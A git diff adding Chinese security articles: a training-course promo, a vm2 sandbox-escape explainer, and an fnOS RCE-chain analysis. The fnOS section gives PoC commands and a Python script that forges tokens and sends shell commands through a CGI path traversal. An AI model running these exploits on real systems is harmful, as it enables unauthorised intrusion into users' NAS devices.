+[记一次小米-root+简易app抓包(新手)](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493374&idx=1&sn=7dea1086256be1d5a2b1a18fa4ab3be0&scene=21#wechat_redirect) + + +[记一次带学员渗透母校](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493292&idx=1&sn=7b1881174201094a5449fe1400ddc8a6&scene=21#wechat_redirect) + + +[同学，你试过交edu漏洞交两天两夜嘛](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493292&idx=2&sn=0d706a4064111b3e131f24460b2f2c56&scene=21#wechat_redirect) + + +[手把手带学员拿下浙大edu证书](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493292&idx=4&sn=cd157b6471a1ab1e63b8dbfe0f62b42e&scene=21#wechat_redirect) + + +[记一次手把手带学员拿下600赏金](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247493151&idx=1&sn=3e1a791a4d14b9ad21d2f0afe8a455a2&scene=21#wechat_redirect) + + +[深情版edu+src培训讲解(3000)](https://mp.weixin.qq.com/s?__biz=MzU3Mjk2NDU2Nw==&mid=2247494535&idx=2&sn=9dfb9ceda7361c9523471a64d8f16f5b&scene=21#wechat_redirect) + + +最后总结 + +感兴趣的可以联系深情哥进群 +，有公开课会在群里面通知，包括审计和src。 +edu邀请码获取，咨询问题，hvv渠道推荐，nisp和cisp考证都可以联系深情哥 +。 + +**内部edu+src培训，包括src挖掘，edu挖掘，小程序逆向，js逆向，app渗透，导师是挖洞过40w的奥特曼深情哥，edu上千分的带头大哥！！！联系深情哥即可。** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/S2ssjS1jNYuia9ElbKdSKcUez91EkPBWFokDtf71hO1acCjaYBZ5t3WoIBDYdPZ0PMwXK6z5VGyQ3CBQ0MtTvXg/640?wx_fmt=png&from=appmsg "") + + + diff --git a/doc/2026-02/逃离沙箱：CVE-2026-22709 深度复盘，为什么 vm2 总是防不住？.md b/doc/2026-02/逃离沙箱：CVE-2026-22709 深度复盘，为什么 vm2 总是防不住？.md new file mode 100644 index 00000000..6ec91b6f --- /dev/null +++ b/doc/2026-02/逃离沙箱：CVE-2026-22709 深度复盘，为什么 vm2 总是防不住？.md @@ -0,0 +1,86 @@ +# 逃离沙箱：CVE-2026-22709 深度复盘，为什么 vm2 总是防不住？ +原创 Kit Chung + Kit Chung 安全圈动向 2026-02-02 23:57 + +![](https://mmbiz.qpic.cn/mmbiz_png/cGfIHiaxhOA8Uiba2thHAFJ6eLcBhoWgchlOaS5cyO9f3u96hAfIQRAgriaeyic9ThaskBJkqbSF3oHQLUoyz4HiaZQ/640?wx_fmt=png&from=appmsg "") + +作为一名长期在技术圈摸爬滚打的“老兵”，我深知这种“沙箱逃逸”漏洞对咱们开发者的杀伤力。这不仅仅是一个 Bug，它是悬在所有 Node.js 开发者头上的达摩克利斯之剑。 + +今天，咱们就聊聊这个让 vm2 再次陷入危机、评分高达 **9.8** + 的“夺命”漏洞。 + +## 一个关于“信任”的翻车现场 + +兄弟们，想象一下：你为了安全，专门在服务器里盖了一间“防弹玻璃房”（vm2 沙箱），把那些来路不明、可能带毒的代码关进去跑，觉得自己稳如老狗。 + +结果呢？代码在里面轻轻敲了一下玻璃，不仅出来了，还顺手拿走了你办公室的钥匙（系统最高权限）。 + +这是最近爆发的 **CVE-2026-22709** + 漏洞。作为 Node.js 圈子里大名鼎鼎的沙箱库，vm2 这次又双叒叕翻车了。而且这次的漏洞评分高达 **9.8** +。 + +今天我带大家深度复盘一下：这个漏洞到底是怎么利用 Promise + 绕过层层拦截，实现“越狱”的。 + +## 核心技术点：为什么沙箱会“漏气”？ + +要理解这个漏洞，咱们得先搞清楚 vm2 的原理。vm2 本质上是利用 JavaScript 的 Proxy +（代理）机制，把那些危险的全局对象（如 process +、require +）给拦截掉，给代码营造一种“你在家里很安全”的假象。 +### 1. 被忽视的 Promise 陷阱 + +这次漏洞的核心出在 JavaScript 的异步处理机制——**Promise** + 上。 + +在 Node.js 环境中，vm2 会对沙箱内的 Promise + 对象进行“净化”处理（Sanitization），确保你调用的 .then() + 或 .catch() + 回调函数不会跑出沙箱。 +> **关键点：** +在 JavaScript 中，async + 函数返回的是 **globalPromise** + 对象，而不是 vm2 试图控制的 **localPromise** +。 + +### 2. 原理深挖：跨越边界的“握手” + +简单来说，vm2 虽然盯着你手里的“小杯咖啡”（本地 Promise），但当你使用 async/await + 时，系统偷偷塞给你一个“大杯咖啡”（全局 Promise）。 + +因为 vm2 没有对 globalPromise.prototype.then + 和 globalPromise.prototype.catch + 进行彻底的过滤和拦截，攻击者可以通过构造特殊的回调，直接跳出 vm2 预设的代理陷阱，接触到沙箱外部的真实执行环境。 + +**实现难点：** + 攻击者需要精准地捕捉到这个“逃逸点”，利用 async + 函数返回值的原型链差异，将攻击代码注入到不受监控的回调中。 + +## 历史重演：vm2 的“宿命” + +说实话，作为一名 IT 工程师，我对 vm2 是又爱又恨。它的作者曾经因为漏洞太多心灰意冷，在 2023 年宣布过停止维护。虽然项目后来“起死回生”了，但这次 CVE-2026-22709 的出现再次证明：**在纯 JavaScript 层面构建一个完美的沙箱，几乎是不可能完成的任务。** + +这已经是 vm2 近几年第 N 次被爆出逃逸漏洞了（比如之前的 CVE-2023-37466, CVE-2023-37903 等）。每当你打上一个补丁，黑客总能找到下一个原型链的漏洞钻过去。 + +## 我们该怎么办？资深老兵的 3 条建议 + +如果你现在的业务里还在大规模使用 vm2，我建议你赶紧行动： +- **紧急更新：** + 哪怕你觉得没问题，也请立刻升级到 **3.10.3** + 或更高版本。这次补丁修复了多个逃逸路径。 + +- **更换引擎（方案推荐）：** + vm2 的底层架构决定了它很难彻底杜绝逃逸。如果你的安全要求极高，我推荐尝试 **isolated-vm** +。它依赖于 V8 引擎原生的 Isolate + 接口，虽然性能开销稍大，但稳得多。 + +- **最终防御：Docker 化策略。** + 不要把鸡蛋放在一个篮子里。即便有了沙箱隔离，也应该在系统层面配合 **Docker 容器化** +，并遵循“最小权限原则”。 + +技术圈没有绝对的安全，只有不断的博弈。vm2 作为一个时代的经典工具，虽然现在步履蹒跚，但它探索隔离技术的思路依然值得我们学习。 + +**作为开发者，保持对技术的敬畏，永远不要完全信任任何一个“绝对安全”的库。** + +你觉得 vm2 还能走多远？或者你在处理代码隔离时有什么压箱底的绝招？欢迎在评论区留言，咱们一起切磋！ +想了解更多关于 isolated-vm 的具体配置？想看更多深度 IT 技术干货？别忘了点个“在看”，你的支持是我更新的最大动力！ diff --git a/doc/2026-02/飞牛系统（fnOS）远程代码执行链：认证绕过.md b/doc/2026-02/飞牛系统（fnOS）远程代码执行链：认证绕过.md new file mode 100644 index 00000000..56be60a9 --- /dev/null +++ b/doc/2026-02/飞牛系统（fnOS）远程代码执行链：认证绕过.md @@ -0,0 +1,127 @@ +# 飞牛系统（fnOS）远程代码执行链：认证绕过 +助力行业的 + 助力行业的 李白你好 2026-02-03 00:01 + +## 前言 + +在最近针对飞牛OS的0day攻击中，攻击者可能利用了三个漏洞来实现完整攻击链。作者：bron1e，https://github.com/bron1e/fnos-rce-chain + +![](https://mmbiz.qpic.cn/mmbiz_jpg/XoIcX2HtlUAiblUh4R9qPraTgZvNXbO8ooGPeWhHVuIORfbAjpaDtuyp9VGQFAGAhe74uMps9OWb2qhjTxTOohA/640?wx_fmt=jpeg&from=appmsg "") +1. **任意文件读取** + +1. **认证绕过** + +1. **授权命令执行** + +其中任意文件读取和授权命令执行已被披露。本文主要对飞牛OS的认证绕过进行分析，并提出另一潜在命令执行路径。 +## 认证绕过 +### 1. 原理分析 +#### 1.1 登录逻辑 + +飞牛OS的登录逻辑如下： +``` +用户请求 (Login/ChangePassword)       |       v[ 应用程序 ]       |       +---> 1. 验证/修改密码       |        |       |        +---> [ 内存缓存 passwd ]       |        |       |        +---> [ Linux 系统调用 (crypt/PAM/chpasswd) ] ---> [ /etc/shadow ]       |        |       |        +---> [ smbpasswd 命令 ] ------------------------> [ Samba 密码库 ]       |       +---> 2. 登录成功后生成                +---> [ 内存缓存 secret, token ]                |                +---> [ PostgreSQL 数据库 ] ---> 表: longtoken +``` + +授权命令执行需要拿到 secret 或者 token。但读取堆内存略微困难，因此要么读取到 longtoken 转化为 token，要么想办法利用业务漏洞。 +#### 1.2 交互逻辑 + +前端使用 Websocket 协议交互，登录流程如下： + +![](https://mmbiz.qpic.cn/mmbiz_png/XoIcX2HtlUAiblUh4R9qPraTgZvNXbO8oaqUFXlED8yA9csp74h2f0KeibYaocW3FwZZs4FnBXlFlLRL6QLuhRow/640?wx_fmt=png&from=appmsg "") +#### 1.3 Token生成逻辑 + +在 /usr/trim/bin/handlers/users.hdl 中的 do_login 函数中包含了 secret, token, longtoken的生成逻辑： +- **Secret** + (16字节)：随机生成的 16 字节数据，强制将第 16 字节设置为 o +。 + +- **Token** + (32字节)： + +- **前 16 字节** + (IV)：由时间戳、计时器和随机数拼接而成。 + +- **后 16 字节** + (Cipher)：使用 RSA 密钥对 Secret 进行 AES 加密后的数据。 + +![](https://mmbiz.qpic.cn/mmbiz_png/XoIcX2HtlUAiblUh4R9qPraTgZvNXbO8oaH0FoNbRnwWS5YmvX4FP1DNT8PCWDbmVo2fYT9WlvdkAf2x28QnOicQ/640?wx_fmt=png&from=appmsg "") + +**因此 secret 和 token 可以相互转化** +，这点很重要。 + +在 /usr/trim/bin/trim 中的 handle_websocket_packet 函数中包含了鉴权逻辑。 + +后端能够解析两种类型的包： +- 加密包：不需要 secret 签名 + +- 明文包：除非req白名单或者设置了no_sign，否则需要secret对请求体签名 + +看上去可以构造一个加密包，然后使用 longtoken 进行登录，从而绕过签名： +``` +{    "req": "user.tokenLogin",    "reqid": xxx,    "token": long_token,     "deviceType": xxx,    "deviceName": xxx,    "did": xxx,    "si": xxx,} +``` + +遗憾的是，加密包会触发token长度的判断。 + +![](https://mmbiz.qpic.cn/mmbiz_png/XoIcX2HtlUAiblUh4R9qPraTgZvNXbO8oicgWaEk8v12VibLKvIacULZIhvzjszUDCBUGBOP4EicMJnKOictIOkZZ3g/640?wx_fmt=png&from=appmsg "") + +不过这里存在另一个漏洞： + +**验签时如果存在 token 字段，则直接对 token 解密得到 secret，然后对请求体计算签名。** + +![](https://mmbiz.qpic.cn/mmbiz_png/XoIcX2HtlUAiblUh4R9qPraTgZvNXbO8oXrOMr7h1qDBLnxxEL5UToCxJtDnkgPANxqfCmbW0CcIn0e1V9eACzQ/640?wx_fmt=png&from=appmsg "") + +因此，可以自己生成 secret 和 token 绕过认证。 + +![](https://mmbiz.qpic.cn/mmbiz_png/XoIcX2HtlUAiblUh4R9qPraTgZvNXbO8oiapvYBDqKCvNTG7PORTDrk2g6DUVwibSZqVfWQdMian3sCJNIKbRIzIRA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/XoIcX2HtlUAiblUh4R9qPraTgZvNXbO8o2zZzD5BK6mDhliaIxYZZuvQ3Xibdy5CpdXZeia11cYLThTpNc0gSdQExw/640?wx_fmt=png&from=appmsg "") +### 2. PoC + +需获取系统中的 rsa_private_key.pem +（通过任意文件读取漏洞获取）。 +``` +# 1. 命令执行python poc.py -k ./rsa_private_key.pem rce# 2. 获取会话tokenpython poc.py -k ./rsa_private_key.pem login -t 9XlXMOgDAABCfaZpAAAAAAluArwO5RZ2JbzjA6m9hmnjp0KtNSz/SA== +``` +## 拓展 +### 1. CGI路径穿越 + +/usr/trim/bin/trim_http_cgi 存在一个稍弱的路径穿越、命令执行。 + +![](https://mmbiz.qpic.cn/mmbiz_png/XoIcX2HtlUAiblUh4R9qPraTgZvNXbO8oZvxQP7H8BQNKDvm10VzzX97XdNbyg26avVPJMNVXqNZasAvtLw4ricA/640?wx_fmt=png&from=appmsg "") + +filepath.Join并不防御路径穿越，因此能从 /var/apps_ui 穿越到 /var，并执行任意文件。但存在有一些限制： +1. 需要合法token + +1. 由于nginx的解析问题，只能穿越一层到 /var + +利用思路：需要结合认证绕过和后文提到的postgresql数据库中的longtoken，生成一个合法token，调用文件上传的API，上传一个bash到/var目录。 +``` +import requestsimport sysTARGET_IP = "192.168.108.168"TARGET_PORT = 5666TOKEN = "g9auUGNTfmkV7fEAVF6qTdH2kQ9CgBkEHmkUBsNvU/8="url = f"http://{TARGET_IP}:{TARGET_PORT}/cgi/third-party/%2e./bash"headers = {    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36",    "Authorization": f"token {TOKEN}",    "Content-Type": "application/x-www-form-urlencoded"}commands = "echo 1> /tmp/test.txt"print(f"[*] Attacking: {url}")print(f"[*] Using Token: {TOKEN[:10]}...")print(f"[*] Command: {commands}")try:    # 发送 POST 请求    response = requests.request("POST", url, headers=headers, data=commands, timeout=10)        print("\n[+] Status Code:", response.status_code)    print("[+] Response Body (Command Output):\n")    print("-" * 40)    print(response.text)    print("-" * 40)except Exception as e:    print(f"[-] Error: {e}") +``` +### 2. 读取postgresql数据库 + +PostgreSQL数据库位于 /var/lib/postgresql/*/main/base + +该目录下有若干个数据库目录，通常为40000+，需要读取每个数据库下的pg_class表（固定OID为1259），然后从中获取 longtoken 表的 OID。 + +![](https://mmbiz.qpic.cn/mmbiz_png/XoIcX2HtlUAiblUh4R9qPraTgZvNXbO8o4vanctoHzPB0HI2sgQYibcIrfmjHJtmdCApicaNvHqMicIbtibicluHOd9g/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/XoIcX2HtlUAiblUh4R9qPraTgZvNXbO8oBk1BtRXPHjCefrZ7au2cUupQmFAibt2JnO2SvEJdXZL1dc0ueLTlDmQ/640?wx_fmt=png&from=appmsg "") +## 参考 +``` +https://club.fnnas.com/forum.php?mod=viewthread&tid=53230https://v2ex.com/t/1189392 +``` +## 网络安全情报攻防站 + +**www.libaisec.com** + +综合性的技术交流与资源共享社区 + +专注于红蓝对抗、攻防渗透、威胁情报、数据泄露 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/XoIcX2HtlUAiblUh4R9qPraTgZvNXbO8oRMiaBEP5kWyvcwmKhJG6tkdeQ8LN8Zfe5IyxVrSn3ibetIyQuQF04SRQ/640?wx_fmt=jpeg&from=appmsg "") + + +